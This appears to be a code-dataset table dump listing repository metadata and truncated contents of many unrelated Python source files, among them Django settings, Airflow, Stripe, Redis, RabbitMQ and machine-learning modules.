hexsha
stringlengths
40
40
size
int64
2
1.02M
ext
stringclasses
10 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
245
max_stars_repo_name
stringlengths
6
130
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
⌀
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
⌀
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
⌀
max_issues_repo_path
stringlengths
4
245
max_issues_repo_name
stringlengths
6
130
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
67k
⌀
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
⌀
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
⌀
max_forks_repo_path
stringlengths
4
245
max_forks_repo_name
stringlengths
6
130
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
⌀
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
⌀
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
⌀
content
stringlengths
2
1.02M
avg_line_length
float64
1
958k
max_line_length
int64
1
987k
alphanum_fraction
float64
0
1
content_no_comment
stringlengths
0
1.01M
is_comment_constant_removed
bool
2 classes
is_sharp_comment_removed
bool
1 class
f74d68ddb1b7bfb8c3c3ab2d28b338018a103af1
7,926
py
Python
backend/testappauto328_dev_23386/settings.py
crowdbotics-dev/testappauto328-dev-23386
2e40d64fa3b8e7fd9ec93e1815c1a3710397c558
[ "FTL", "AML", "RSA-MD" ]
null
null
null
backend/testappauto328_dev_23386/settings.py
crowdbotics-dev/testappauto328-dev-23386
2e40d64fa3b8e7fd9ec93e1815c1a3710397c558
[ "FTL", "AML", "RSA-MD" ]
null
null
null
backend/testappauto328_dev_23386/settings.py
crowdbotics-dev/testappauto328-dev-23386
2e40d64fa3b8e7fd9ec93e1815c1a3710397c558
[ "FTL", "AML", "RSA-MD" ]
null
null
null
""" Django settings for testappauto328_dev_23386 project. Generated by 'django-admin startproject' using Django 2.2.2. For more information on this file, see https://docs.djangoproject.com/en/2.2/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.2/ref/settings/ ...
30.484615
112
0.737699
import os import io import environ import logging import google.auth from google.cloud import secretmanager from google.auth.exceptions import DefaultCredentialsError from google.api_core.exceptions import PermissionDenied from modules.manifest import get_modules BASE_DIR = os.path.dirname(os.path.dirname(os.path.abs...
true
true
f74d699a43ecada10f9b1aef61ba3a1e8472e5dc
15,350
py
Python
lesson7.4/tensorflow/contrib/distributions/python/ops/bijectors/affine_impl.py
magnusmel/Serverless-Deep-Learning-with-TensorFlow-and-AWS-Lambda
cc226deb7b46852407900f9fec0caf62638defe2
[ "MIT" ]
21
2018-12-11T20:07:47.000Z
2021-11-08T13:12:32.000Z
lesson7.4/tensorflow/contrib/distributions/python/ops/bijectors/affine_impl.py
magnusmel/Serverless-Deep-Learning-with-TensorFlow-and-AWS-Lambda
cc226deb7b46852407900f9fec0caf62638defe2
[ "MIT" ]
3
2020-09-26T01:09:47.000Z
2022-02-10T02:12:08.000Z
lesson7.4/tensorflow/contrib/distributions/python/ops/bijectors/affine_impl.py
magnusmel/Serverless-Deep-Learning-with-TensorFlow-and-AWS-Lambda
cc226deb7b46852407900f9fec0caf62638defe2
[ "MIT" ]
15
2018-12-12T02:32:28.000Z
2021-11-05T20:40:10.000Z
# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
37.99505
80
0.650554
from __future__ import absolute_import from __future__ import division from __future__ import print_function from tensorflow.contrib import linalg from tensorflow.contrib.distributions.python.ops import distribution_util from tensorflow.contrib.distributions.python.ops.shape import _DistributionShape from tensorflow....
true
true
f74d6a4c6464a498af4fac1f5c81f7cd9d1dd67b
18,290
py
Python
tests/integration/test_testkeeper_back_to_back/test.py
mcspring/ClickHouse
08f713f177f950c2f675c2c75d1261c91066888c
[ "Apache-2.0" ]
2
2021-01-12T07:23:39.000Z
2021-01-12T07:23:46.000Z
tests/integration/test_testkeeper_back_to_back/test.py
mcspring/ClickHouse
08f713f177f950c2f675c2c75d1261c91066888c
[ "Apache-2.0" ]
null
null
null
tests/integration/test_testkeeper_back_to_back/test.py
mcspring/ClickHouse
08f713f177f950c2f675c2c75d1261c91066888c
[ "Apache-2.0" ]
1
2021-07-30T19:50:45.000Z
2021-07-30T19:50:45.000Z
import pytest from helpers.cluster import ClickHouseCluster import random import string import os import time from multiprocessing.dummy import Pool cluster = ClickHouseCluster(__file__) node = cluster.add_instance('node', main_configs=['configs/enable_test_keeper.xml', 'configs/logs_conf.xml'], with_zookeeper=True) f...
34.771863
149
0.653089
import pytest from helpers.cluster import ClickHouseCluster import random import string import os import time from multiprocessing.dummy import Pool cluster = ClickHouseCluster(__file__) node = cluster.add_instance('node', main_configs=['configs/enable_test_keeper.xml', 'configs/logs_conf.xml'], with_zookeeper=True) f...
true
true
f74d6a6ce8ee4c86b34c49043a07285572262255
5,534
py
Python
presalytics/client/presalytics_ooxml_automation/models/chart_axis_data_types.py
presalytics/python-client
5d80b78562126feeeb49af4738e2c1aed12dce3a
[ "MIT" ]
4
2020-02-21T16:30:46.000Z
2021-01-12T12:22:03.000Z
presalytics/client/presalytics_ooxml_automation/models/chart_axis_data_types.py
presalytics/python-client
5d80b78562126feeeb49af4738e2c1aed12dce3a
[ "MIT" ]
4
2019-12-28T19:30:08.000Z
2020-03-31T19:27:45.000Z
presalytics/client/presalytics_ooxml_automation/models/chart_axis_data_types.py
presalytics/python-client
5d80b78562126feeeb49af4738e2c1aed12dce3a
[ "MIT" ]
null
null
null
# coding: utf-8 """ OOXML Automation This API helps users convert Excel and Powerpoint documents into rich, live dashboards and stories. # noqa: E501 The version of the OpenAPI document: 0.1.0-no-tags Generated by: https://openapi-generator.tech """ import pprint import re # noqa: F401 import si...
25.859813
117
0.568847
import pprint import re import six class ChartAxisDataTypes(object): openapi_types = { 'type_id': 'int', 'name': 'str', 'description': 'str', 'ooxml_name': 'str', 'id': 'str' } attribute_map = { 'type_id': 'typeId', 'name': 'name', 'de...
true
true
f74d6c92a354636ed765b422c19dd61d4bcca149
2,950
py
Python
tests/test_model_category.py
sharebears/pulsar-forums
6c1152a181c30bb82c49556fd072f47c2eeaf1cb
[ "MIT" ]
null
null
null
tests/test_model_category.py
sharebears/pulsar-forums
6c1152a181c30bb82c49556fd072f47c2eeaf1cb
[ "MIT" ]
null
null
null
tests/test_model_category.py
sharebears/pulsar-forums
6c1152a181c30bb82c49556fd072f47c2eeaf1cb
[ "MIT" ]
null
null
null
from conftest import add_permissions, check_dictionary from core import NewJSONEncoder, cache from forums.models import ForumCategory def test_category_from_pk(app, authed_client): category = ForumCategory.from_pk(1) assert category.name == 'Site' assert category.description == 'General site discussion' ...
28.921569
78
0.64
from conftest import add_permissions, check_dictionary from core import NewJSONEncoder, cache from forums.models import ForumCategory def test_category_from_pk(app, authed_client): category = ForumCategory.from_pk(1) assert category.name == 'Site' assert category.description == 'General site discussion' ...
true
true
f74d6de7f0c648b1de06bdf74c9c90f1bba5c269
2,136
py
Python
malcolm/packageutil.py
dls-controls/github-publish-test
25f6ce1af28eff9930f65e4f2c9fb0474e0b570c
[ "Apache-2.0" ]
null
null
null
malcolm/packageutil.py
dls-controls/github-publish-test
25f6ce1af28eff9930f65e4f2c9fb0474e0b570c
[ "Apache-2.0" ]
null
null
null
malcolm/packageutil.py
dls-controls/github-publish-test
25f6ce1af28eff9930f65e4f2c9fb0474e0b570c
[ "Apache-2.0" ]
null
null
null
import os import importlib import logging def import_methodmeta_decorated_classes(globals_d, package_name): """Prepare a package namespace by importing all subclasses following PEP8 rules that have @takes decorated functions""" def finder(package_fs_path, fname): if fname.endswith(".py") and fname...
32.363636
80
0.628277
import os import importlib import logging def import_methodmeta_decorated_classes(globals_d, package_name): def finder(package_fs_path, fname): if fname.endswith(".py") and fname != "__init__.py": import_name = "%s.%s" % (package_name, fname[:-3]) logging.debug("Importi...
true
true
f74d6e9baea2bd0076ed8085b941cd95065ad8c2
267
py
Python
design_patterns/structural_dp/facade_demos.py
Minkov/python-oop
db9651eef374c0e74c32cb6f2bf07c734cc1d051
[ "MIT" ]
3
2021-11-16T04:52:53.000Z
2022-02-07T20:28:41.000Z
design_patterns/structural_dp/facade_demos.py
Minkov/python-oop
db9651eef374c0e74c32cb6f2bf07c734cc1d051
[ "MIT" ]
null
null
null
design_patterns/structural_dp/facade_demos.py
Minkov/python-oop
db9651eef374c0e74c32cb6f2bf07c734cc1d051
[ "MIT" ]
1
2021-12-07T07:04:38.000Z
2021-12-07T07:04:38.000Z
import json data = { 'name': 'Pesho', 'age': 19, 'grades': [ {'subject': 'Math', 'mark': 5.0}, {'subject': 'Literature', 'mark': 4.5}, ] } json_data = json.dumps(data) print(repr(json.dumps(data))) print(repr(json.loads(json_data)))
17.8
47
0.543071
import json data = { 'name': 'Pesho', 'age': 19, 'grades': [ {'subject': 'Math', 'mark': 5.0}, {'subject': 'Literature', 'mark': 4.5}, ] } json_data = json.dumps(data) print(repr(json.dumps(data))) print(repr(json.loads(json_data)))
true
true
f74d6ea5c70899c5d3d21491e01d6b1ed0f8969f
2,670
py
Python
data_extractor/local_extractor/states/state_utils/TG_utils.py
sushovande/covid19-india-data
18fd2b6d03fb5dedbcb9e6e7b654c6188bc31b4c
[ "MIT" ]
null
null
null
data_extractor/local_extractor/states/state_utils/TG_utils.py
sushovande/covid19-india-data
18fd2b6d03fb5dedbcb9e6e7b654c6188bc31b4c
[ "MIT" ]
null
null
null
data_extractor/local_extractor/states/state_utils/TG_utils.py
sushovande/covid19-india-data
18fd2b6d03fb5dedbcb9e6e7b654c6188bc31b4c
[ "MIT" ]
null
null
null
import locale locale.setlocale( locale.LC_ALL, 'en_US.UTF-8' ) import re def is_row_header(row): """ Check if the provided row is a header row or not It does so by checking if there are any numbers in the row text or not """ for col in row: if re.match(r'[0-9]+', col): return...
24.272727
104
0.590637
import locale locale.setlocale( locale.LC_ALL, 'en_US.UTF-8' ) import re def is_row_header(row): for col in row: if re.match(r'[0-9]+', col): return False return True def is_row_empty(row): for col in row: if col.strip() != '': return False return True de...
true
true
f74d6f4cdd9ad79198e4fd37197b8d35a2d9c2b5
850
py
Python
asset/forms.py
wxmgcs/devops
7b0daf6121139c8bec80ec58c119d04d8aeadfe8
[ "MIT" ]
3
2019-05-06T06:44:43.000Z
2020-06-10T00:54:43.000Z
asset/forms.py
wxmgcs/devops
7b0daf6121139c8bec80ec58c119d04d8aeadfe8
[ "MIT" ]
1
2017-07-11T11:36:54.000Z
2017-07-11T11:42:23.000Z
asset/forms.py
wxmgcs/devops
7b0daf6121139c8bec80ec58c119d04d8aeadfe8
[ "MIT" ]
null
null
null
#!/usr/bin/env python # coding: utf8 ''' @author: qitan @contact: qqing_lai@hotmail.com @file: forms.py @time: 2017/3/30 15:34 @desc: ''' from django import forms from asset.models import IdcAsset class IdcAssetForm(forms.ModelForm): class Meta: model = IdcAsset fields = ('idc_name', 'idc_type', '...
32.692308
100
0.629412
from django import forms from asset.models import IdcAsset class IdcAssetForm(forms.ModelForm): class Meta: model = IdcAsset fields = ('idc_name', 'idc_type', 'idc_location', 'contract_date', 'idc_contacts', 'remark') widgets = { 'idc_name': forms.TextInput(attrs={'class': 'form-...
true
true
f74d6facf145e645b1aed33f28531d912b3c4c9e
34
py
Python
cleo/ui/component.py
Ivoz/cleo
8dc694ed5ed350403966f93d330654ecb447801b
[ "MIT" ]
859
2015-02-04T02:33:22.000Z
2022-03-31T10:41:06.000Z
cleo/ui/component.py
Ivoz/cleo
8dc694ed5ed350403966f93d330654ecb447801b
[ "MIT" ]
66
2015-01-04T19:43:48.000Z
2022-03-30T02:33:13.000Z
cleo/ui/component.py
Ivoz/cleo
8dc694ed5ed350403966f93d330654ecb447801b
[ "MIT" ]
64
2015-01-18T08:32:43.000Z
2022-03-02T10:43:58.000Z
class Component: name = None
8.5
16
0.647059
class Component: name = None
true
true
f74d7099f37f24f893494b8f63ef4b764ca3dd82
1,609
py
Python
kmer_parse/kmerAldert.py
divprasad/PythonCodes
18c477cdadbf288ea9b00a82b13e768ccd279108
[ "MIT" ]
null
null
null
kmer_parse/kmerAldert.py
divprasad/PythonCodes
18c477cdadbf288ea9b00a82b13e768ccd279108
[ "MIT" ]
null
null
null
kmer_parse/kmerAldert.py
divprasad/PythonCodes
18c477cdadbf288ea9b00a82b13e768ccd279108
[ "MIT" ]
null
null
null
#!/usr/bin/env python from collections import defaultdict from itertools import chain, groupby import os, sys #import pandas as pd import glob def count_kmers(read, k): counts = defaultdict(list) num_kmers = len(read) - k + 1 for i in range(num_kmers): kmer = read[i:i+k] if kmer not in coun...
41.25641
199
0.492231
from collections import defaultdict from itertools import chain, groupby import os, sys import glob def count_kmers(read, k): counts = defaultdict(list) num_kmers = len(read) - k + 1 for i in range(num_kmers): kmer = read[i:i+k] if kmer not in counts: counts[kmer] = 0 co...
true
true
f74d70f6810e283b1ee917a379220f6c2b9d116b
1,114
py
Python
ecommerce/ecommerce/urls.py
sasan-sohrabi/django_ecommerce
df5670df300c3d8df97d1186d44bc988c8cf3422
[ "MIT" ]
null
null
null
ecommerce/ecommerce/urls.py
sasan-sohrabi/django_ecommerce
df5670df300c3d8df97d1186d44bc988c8cf3422
[ "MIT" ]
null
null
null
ecommerce/ecommerce/urls.py
sasan-sohrabi/django_ecommerce
df5670df300c3d8df97d1186d44bc988c8cf3422
[ "MIT" ]
null
null
null
"""ecommerce URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/3.1/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-bas...
39.785714
79
0.666966
from django.contrib import admin from django.urls import path, include from . import views from django.conf import settings from django.conf.urls.static import static urlpatterns = [ path('admin/', admin.site.urls), path('', views.home, name='home'), path('store/',...
true
true
f74d7167ae2413cc81aa05b9836b1549815053a2
3,908
py
Python
chap06/weather_modelv4_stacked_rnn_with_dropout.py
bryanblackbee/topic__deep-learning-python
6d916cee3457a886f3bffc7a5dd97a4d627b3c23
[ "MIT" ]
null
null
null
chap06/weather_modelv4_stacked_rnn_with_dropout.py
bryanblackbee/topic__deep-learning-python
6d916cee3457a886f3bffc7a5dd97a4d627b3c23
[ "MIT" ]
6
2020-11-13T18:54:44.000Z
2022-03-12T00:34:31.000Z
chap06/weather_modelv4_stacked_rnn_with_dropout.py
bryanblackbee/topic__deep-learning-python
6d916cee3457a886f3bffc7a5dd97a4d627b3c23
[ "MIT" ]
null
null
null
import numpy as np import pandas as pd import matplotlib.pyplot as plt from tensorflow.keras.backend import clear_session from tensorflow.keras.optimizers import RMSprop from tensorflow.keras.preprocessing import sequence from tensorflow.keras.models import Sequential from tensorflow.keras.layers import (Flatten, Dens...
36.523364
105
0.656858
import numpy as np import pandas as pd import matplotlib.pyplot as plt from tensorflow.keras.backend import clear_session from tensorflow.keras.optimizers import RMSprop from tensorflow.keras.preprocessing import sequence from tensorflow.keras.models import Sequential from tensorflow.keras.layers import (Flatten, Dens...
true
true
f74d71f1c71c42b77c9491850bdbc41548a67e86
3,327
py
Python
tests/api_resources/test_subscription_item.py
maxmokry/stripe-python
4ee52225d7e87324121390043fd2618adcdc0559
[ "MIT" ]
1
2020-02-09T13:21:50.000Z
2020-02-09T13:21:50.000Z
tests/api_resources/test_subscription_item.py
jahau/stripe-python
d6f7f4454e545f66df11201c8a5accc75d70b4c2
[ "MIT" ]
null
null
null
tests/api_resources/test_subscription_item.py
jahau/stripe-python
d6f7f4454e545f66df11201c8a5accc75d70b4c2
[ "MIT" ]
1
2021-08-17T14:09:08.000Z
2021-08-17T14:09:08.000Z
from __future__ import absolute_import, division, print_function import stripe TEST_RESOURCE_ID = "si_123" class TestSubscriptionItem(object): def test_is_listable(self, request_mock): resources = stripe.SubscriptionItem.list(subscription="sub_123") request_mock.assert_requested( "g...
34.65625
73
0.656447
from __future__ import absolute_import, division, print_function import stripe TEST_RESOURCE_ID = "si_123" class TestSubscriptionItem(object): def test_is_listable(self, request_mock): resources = stripe.SubscriptionItem.list(subscription="sub_123") request_mock.assert_requested( "g...
true
true
f74d722b30b8e7e2700e5218c3d4ef635f6d48cf
7,629
py
Python
model/__main__.py
Johnny-Wish/fake-news-detection-pipeline
3bdad59d680968375a23d72c80af7d6ef11d7711
[ "Apache-2.0" ]
52
2018-11-02T00:00:10.000Z
2020-06-21T03:55:13.000Z
model/__main__.py
Johnny-Wish/fake-news-detection-pipeline
3bdad59d680968375a23d72c80af7d6ef11d7711
[ "Apache-2.0" ]
null
null
null
model/__main__.py
Johnny-Wish/fake-news-detection-pipeline
3bdad59d680968375a23d72c80af7d6ef11d7711
[ "Apache-2.0" ]
8
2018-11-12T20:54:48.000Z
2020-02-14T08:24:40.000Z
import os import argparse import heapq import pandas as pd import pickle as pkl from embedding_utils import EmbeddingLoader from sklearn.model_selection import RandomizedSearchCV, train_test_split from sklearn.model_selection._search import BaseSearchCV def print_cv_result(result, n): if isinstance(result, BaseSe...
52.613793
120
0.659719
import os import argparse import heapq import pandas as pd import pickle as pkl from embedding_utils import EmbeddingLoader from sklearn.model_selection import RandomizedSearchCV, train_test_split from sklearn.model_selection._search import BaseSearchCV def print_cv_result(result, n): if isinstance(result, BaseSe...
true
true
f74d745e55ae87c18eb019a61cecdd76f3335ed6
5,718
py
Python
examples/own_dataset/train_own_dataset.py
naototachibana/chainer-chemistry
785f68232d43fe98cb2c79f5b5e22b7d5a971738
[ "MIT" ]
1
2019-09-13T07:31:38.000Z
2019-09-13T07:31:38.000Z
examples/own_dataset/train_own_dataset.py
nd-02110114/chainer-chemistry
04577ba920b46c7141d4f01e212f7040eb91db19
[ "MIT" ]
null
null
null
examples/own_dataset/train_own_dataset.py
nd-02110114/chainer-chemistry
04577ba920b46c7141d4f01e212f7040eb91db19
[ "MIT" ]
null
null
null
#!/usr/bin/env python from __future__ import print_function import chainer import numpy import os from argparse import ArgumentParser from chainer.datasets import split_dataset_random from chainer import functions as F from chainer import optimizers from chainer import training from chainer.iterators import SerialIt...
40.842857
78
0.663344
from __future__ import print_function import chainer import numpy import os from argparse import ArgumentParser from chainer.datasets import split_dataset_random from chainer import functions as F from chainer import optimizers from chainer import training from chainer.iterators import SerialIterator from chainer.tr...
true
true
f74d74747ee5bfd693900551b279382a14af44c1
11,277
py
Python
airflow/executors/celery_executor.py
BeeXiong/airflow
4aa272d15463ce9866dc2b2a3b83c34192f6f353
[ "Apache-2.0" ]
null
null
null
airflow/executors/celery_executor.py
BeeXiong/airflow
4aa272d15463ce9866dc2b2a3b83c34192f6f353
[ "Apache-2.0" ]
5
2019-01-24T20:41:05.000Z
2020-06-22T16:22:13.000Z
airflow/executors/celery_executor.py
BeeXiong/airflow
4aa272d15463ce9866dc2b2a3b83c34192f6f353
[ "Apache-2.0" ]
1
2021-11-04T19:43:39.000Z
2021-11-04T19:43:39.000Z
# -*- coding: utf-8 -*- # # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the #...
37.59
100
0.631728
import math import os import subprocess import time import traceback from multiprocessing import Pool, cpu_count from celery import Celery from celery import states as celery_states from airflow.configuration import conf from airflow.config_templates.default_celery import DEFAULT_CELERY_CONFIG from airflow.exception...
true
true
f74d75985172d5175784caed1b0dc859bd417321
183,364
py
Python
Rebuttal/RuntimeSpeedUpComparison/1 SafeLearner/probfoil_1.py
sunyi000/SafeLearner
bf93268c9107f3404696b9212accaace1a0e76ee
[ "Apache-2.0" ]
6
2019-10-03T04:18:17.000Z
2020-12-18T16:13:34.000Z
Rebuttal/RuntimeSpeedUpComparison/1 SafeLearner/probfoil_1.py
sunyi000/SafeLearner
bf93268c9107f3404696b9212accaace1a0e76ee
[ "Apache-2.0" ]
null
null
null
Rebuttal/RuntimeSpeedUpComparison/1 SafeLearner/probfoil_1.py
sunyi000/SafeLearner
bf93268c9107f3404696b9212accaace1a0e76ee
[ "Apache-2.0" ]
2
2019-10-16T21:13:04.000Z
2022-02-02T14:00:54.000Z
"""Implementation of the OpenProbFOIL algorithm. """ from __future__ import print_function from problog.program import PrologFile from problog.logic import term2str, Term, Var from data import DataFile from language import TypeModeLanguage from rule import FOILRule, FOILRuleB from learn_1 import CandidateBeam, LearnEn...
51.915062
482
0.510144
from __future__ import print_function from problog.program import PrologFile from problog.logic import term2str, Term, Var from data import DataFile from language import TypeModeLanguage from rule import FOILRule, FOILRuleB from learn_1 import CandidateBeam, LearnEntail from scipy.optimize import minimize from ad impo...
true
true
f74d762829dd98fea5c97bc112365ce3232b868d
6,708
py
Python
ceilometer/declarative.py
Missxiaoguo/stx-ceilometer
a226b47216e76ec209818b900253d3c1f1ffc3aa
[ "Apache-2.0" ]
null
null
null
ceilometer/declarative.py
Missxiaoguo/stx-ceilometer
a226b47216e76ec209818b900253d3c1f1ffc3aa
[ "Apache-2.0" ]
1
2018-08-16T15:18:09.000Z
2018-08-16T20:51:45.000Z
ceilometer/declarative.py
Missxiaoguo/stx-ceilometer
a226b47216e76ec209818b900253d3c1f1ffc3aa
[ "Apache-2.0" ]
3
2018-08-15T14:35:23.000Z
2019-01-11T15:57:02.000Z
# # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under...
35.680851
79
0.5565
import os from jsonpath_rw_ext import parser from oslo_log import log import six import yaml from ceilometer.i18n import _ LOG = log.getLogger(__name__) class DefinitionException(Exception): def __init__(self, message, definition_cfg): msg = '%s %s: %s' % (self.__class__.__name__, definition_cfg, mess...
true
true
f74d7b65bf1d537a02c073dba7f2c762c4daaaf9
4,228
py
Python
bika/lims/browser/worksheet/views/analyses_transposed.py
hocinebendou/bika.gsoc
85bc0c587de7f52073ae0e89bddbc77bf875f295
[ "MIT" ]
null
null
null
bika/lims/browser/worksheet/views/analyses_transposed.py
hocinebendou/bika.gsoc
85bc0c587de7f52073ae0e89bddbc77bf875f295
[ "MIT" ]
null
null
null
bika/lims/browser/worksheet/views/analyses_transposed.py
hocinebendou/bika.gsoc
85bc0c587de7f52073ae0e89bddbc77bf875f295
[ "MIT" ]
null
null
null
# coding=utf-8 from Products.Five.browser.pagetemplatefile import ViewPageTemplateFile from bika.lims.browser.bika_listing import BikaListingTable from bika.lims.browser.worksheet.views.analyses import AnalysesView class AnalysesTransposedView(AnalysesView): """ The view for displaying the table of manage_results...
41.45098
82
0.585856
from Products.Five.browser.pagetemplatefile import ViewPageTemplateFile from bika.lims.browser.bika_listing import BikaListingTable from bika.lims.browser.worksheet.views.analyses import AnalysesView class AnalysesTransposedView(AnalysesView): def contents_table(self, table_only = True): table = Analyses...
true
true
f74d7ba525d24749bf582bdb8402c95c790d1413
2,836
py
Python
src/utils/redis_cli.py
Ari-Qu3sadillas/redis-management-system
6208c103e655ec29ad9f1a1e916f9533343fb2c0
[ "MIT" ]
1
2022-03-23T17:32:08.000Z
2022-03-23T17:32:08.000Z
src/utils/redis_cli.py
Ari-Qu3sadillas/redis-management-system
6208c103e655ec29ad9f1a1e916f9533343fb2c0
[ "MIT" ]
null
null
null
src/utils/redis_cli.py
Ari-Qu3sadillas/redis-management-system
6208c103e655ec29ad9f1a1e916f9533343fb2c0
[ "MIT" ]
null
null
null
import redis from typing import Tuple, Union, List class Redis(): def __init__(self, host: str = 'localhost', port: int = 6379, user: str = '', password: str = '') -> None: self._host = host self._port = port self._user = user self._password = password self.client = redis.S...
31.865169
115
0.590268
import redis from typing import Tuple, Union, List class Redis(): def __init__(self, host: str = 'localhost', port: int = 6379, user: str = '', password: str = '') -> None: self._host = host self._port = port self._user = user self._password = password self.client = redis.S...
true
true
f74d7d0a4a2c90e13c8157aaf445002af2b01f06
3,802
py
Python
Fuzzy_clustering/version3/project_manager/PredictModelManager/CombineModelPredict.py
joesider9/forecasting_library
db07ff8f0f2693983058d49004f2fc6f8849d197
[ "Apache-2.0" ]
null
null
null
Fuzzy_clustering/version3/project_manager/PredictModelManager/CombineModelPredict.py
joesider9/forecasting_library
db07ff8f0f2693983058d49004f2fc6f8849d197
[ "Apache-2.0" ]
null
null
null
Fuzzy_clustering/version3/project_manager/PredictModelManager/CombineModelPredict.py
joesider9/forecasting_library
db07ff8f0f2693983058d49004f2fc6f8849d197
[ "Apache-2.0" ]
null
null
null
import os import numpy as np import joblib from Fuzzy_clustering.version3.project_manager.PredictModelManager.Sklearn_combine_predict import sklearn_model_predict class CombineModelPredict(object): def __init__(self, static_data): self.static_data = static_data self.istrained = False self.m...
41.326087
119
0.579169
import os import numpy as np import joblib from Fuzzy_clustering.version3.project_manager.PredictModelManager.Sklearn_combine_predict import sklearn_model_predict class CombineModelPredict(object): def __init__(self, static_data): self.static_data = static_data self.istrained = False self.m...
true
true
f74d7d0cd64b40ca4f55b113f0f9e1343656f172
128,130
py
Python
codespace/python/tencentcloud/emr/v20190103/models.py
tzpBingo/github-trending
05dc0a4a5aae91871a57b9c6db5d9faee243173e
[ "MIT" ]
37
2017-10-12T01:50:42.000Z
2022-02-24T02:44:45.000Z
codespace/python/tencentcloud/emr/v20190103/models.py
tzpBingo/github-trending
05dc0a4a5aae91871a57b9c6db5d9faee243173e
[ "MIT" ]
null
null
null
codespace/python/tencentcloud/emr/v20190103/models.py
tzpBingo/github-trending
05dc0a4a5aae91871a57b9c6db5d9faee243173e
[ "MIT" ]
12
2018-07-31T10:04:56.000Z
2022-02-07T00:08:06.000Z
# -*- coding: utf8 -*- # Copyright (c) 2017-2021 THL A29 Limited, a Tencent company. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses...
32.120832
172
0.611168
import warnings from tencentcloud.common.abstract_model import AbstractModel class BootstrapAction(AbstractModel): def __init__(self): self.Path = None self.WhenRun = None self.Args = None def _deserialize(self, params): self.Path = params.get("Path") self.WhenRun ...
true
true
f74d7d355da4f61cc1b1df8b64ece7989a486560
2,495
py
Python
01_fyyur/starter_code/models.py
silasjimmy/Fyyur-Website
9c396bc6103a298627ed176f04dff2ac4f3b48c8
[ "MIT" ]
null
null
null
01_fyyur/starter_code/models.py
silasjimmy/Fyyur-Website
9c396bc6103a298627ed176f04dff2ac4f3b48c8
[ "MIT" ]
null
null
null
01_fyyur/starter_code/models.py
silasjimmy/Fyyur-Website
9c396bc6103a298627ed176f04dff2ac4f3b48c8
[ "MIT" ]
null
null
null
#----------------------------------------------------------------------------# # App Config. #----------------------------------------------------------------------------# from flask import Flask from flask_moment import Moment from flask_sqlalchemy import SQLAlchemy from flask_migrate import Migrate app = Flask(__na...
29.352941
102
0.58517
from flask import Flask from flask_moment import Moment from flask_sqlalchemy import SQLAlchemy from flask_migrate import Migrate app = Flask(__name__) moment = Moment(app) app.config.from_object('config.Config') db = SQLAlchemy(app) migrate = Migrate(app, db) from sqlalchemy import ARRAY class Venue(db.Model): ...
true
true
f74d7e1745663a5cd544dc2f6534b5670bf43a37
632
py
Python
mathematics/fundamentals/jim-and-the-jokes.py
PingHuskar/hackerrank
1bfdbc63de5d0f94cd9e6ae250476b4a267662f2
[ "Unlicense" ]
41
2018-05-11T07:54:34.000Z
2022-03-29T19:02:32.000Z
mathematics/fundamentals/jim-and-the-jokes.py
PingHuskar/hackerrank
1bfdbc63de5d0f94cd9e6ae250476b4a267662f2
[ "Unlicense" ]
2
2021-09-13T10:03:26.000Z
2021-10-04T10:21:05.000Z
mathematics/fundamentals/jim-and-the-jokes.py
PingHuskar/hackerrank
1bfdbc63de5d0f94cd9e6ae250476b4a267662f2
[ "Unlicense" ]
21
2019-01-23T19:06:59.000Z
2021-12-23T16:03:47.000Z
# Mathematics > Fundamentals > Jim and the Jokes # Jim is running out of jokes! Help him finding new jokes. # # https://www.hackerrank.com/challenges/jim-and-the-jokes/problem # # algo: créer une table qui compte les nombres lus dans la base indiquée jokes = {} for _ in range(int(input())): b, x = input().split()...
30.095238
84
0.647152
jokes = {} for _ in range(int(input())): b, x = input().split() try: f = int(x, int(b)) jokes[f] = jokes.get(f, 0) + 1 except ValueError: pass print(sum(f * (f - 1) // 2 for f in jokes.values() if f >= 1))
true
true
f74d7e5aaff3ef6dd9eb3b1e1593e84d57734b14
834
py
Python
src/rabbitmq/src/helloworld/send.py
showerMuggle/klose911.github.io
e2ee6ae57dd91e8a5e5637b4bf20dc83b7704387
[ "Apache-2.0" ]
1
2020-05-11T09:28:29.000Z
2020-05-11T09:28:29.000Z
src/rabbitmq/src/helloworld/send.py
showerMuggle/klose911.github.io
e2ee6ae57dd91e8a5e5637b4bf20dc83b7704387
[ "Apache-2.0" ]
null
null
null
src/rabbitmq/src/helloworld/send.py
showerMuggle/klose911.github.io
e2ee6ae57dd91e8a5e5637b4bf20dc83b7704387
[ "Apache-2.0" ]
2
2019-08-23T05:36:00.000Z
2022-02-09T02:25:40.000Z
#!/usr/bin/env python import pika # connect to local machine connection = pika.BlockingConnection(pika.ConnectionParameters( 'localhost')) channel = connection.channel() # before sending we need to make sure the recipient queue exists. If we send a message to non-existing location, RabbitMQ will just trash the mes...
46.333333
168
0.730216
